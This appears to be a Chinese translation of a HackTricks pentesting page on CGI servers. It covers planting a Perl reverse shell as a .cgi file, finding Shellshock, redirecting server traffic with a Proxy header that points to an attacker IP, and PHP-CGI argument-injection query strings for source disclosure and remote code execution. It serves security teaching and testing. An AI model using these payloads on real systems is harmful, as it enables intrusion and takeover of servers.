CGI
Last updated
Last updated
学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE) 学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)
通过 8kSec 学院深化您在 移动安全 方面的专业知识。通过我们的自学课程掌握 iOS 和 Android 安全并获得认证:
CGI 脚本是 perl 脚本,因此,如果您已攻陷可以执行 .cgi 脚本的服务器,您可以 上传一个 perl 反向 shell (/usr/share/webshells/perl/perl-reverse-shell.pl
),将扩展名 从 .pl 更改为 .cgi,给予 执行权限 (chmod +x
),并 通过网页浏览器访问 反向 shell 以执行它。 为了测试 CGI 漏洞,建议使用 nikto -C all
(以及所有插件)
ShellShock 是一个影响广泛使用的 Bash 命令行 shell 的 漏洞,该 shell 运行在基于 Unix 的操作系统中。它针对 Bash 运行应用程序传递的命令的能力。该漏洞存在于 环境变量 的操控中,环境变量是影响计算机上进程运行的动态命名值。攻击者可以通过将 恶意代码 附加到环境变量来利用这一点,该代码在接收到变量时执行。这使得攻击者有可能危害系统。
利用此漏洞,页面可能会抛出错误。
您可以通过注意到它使用 旧版 Apache 和 cgi_mod (带有 cgi 文件夹) 或使用 nikto 来 发现 此漏洞。
大多数测试基于回显某些内容,并期望该字符串在网页响应中返回。如果您认为某个页面可能存在漏洞,请搜索所有 cgi 页面并进行测试。
Nmap
CGI 为 http 请求中的每个头创建一个环境变量。例如:“host:web.com” 被创建为 “HTTP_HOST”="web.com"
由于 HTTP_PROXY 变量可能被 web 服务器使用。尝试发送一个 头 包含:“Proxy: <IP_attacker>:<PORT>”,如果服务器在会话期间执行任何请求,您将能够捕获服务器发出的每个请求。
基本上,如果 cgi 是活动的并且 php 是“旧的” (<5.3.12 / < 5.4.2),您可以执行代码。 为了利用此漏洞,您需要访问 web 服务器的某个 PHP 文件而不发送参数 (特别是没有发送字符“=”)。 然后,为了测试此漏洞,您可以访问例如 /index.php?-s
(注意 -s
),应用程序的源代码将出现在响应中。
然后,为了获得 RCE,您可以发送这个特殊查询:/?-d allow_url_include=1 -d auto_prepend_file=php://input
和 要在请求的主体中执行的 PHP 代码。 示例:**
有关漏洞和可能的利用信息: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF 写作示例.
通过 8kSec 学院深化您在 移动安全 方面的专业知识。通过我们的自学课程掌握 iOS 和 Android 安全并获得认证:
学习和实践 AWS 黑客攻击:HackTricks 培训 AWS 红队专家 (ARTE) 学习和实践 GCP 黑客攻击:HackTricks 培训 GCP 红队专家 (GRTE)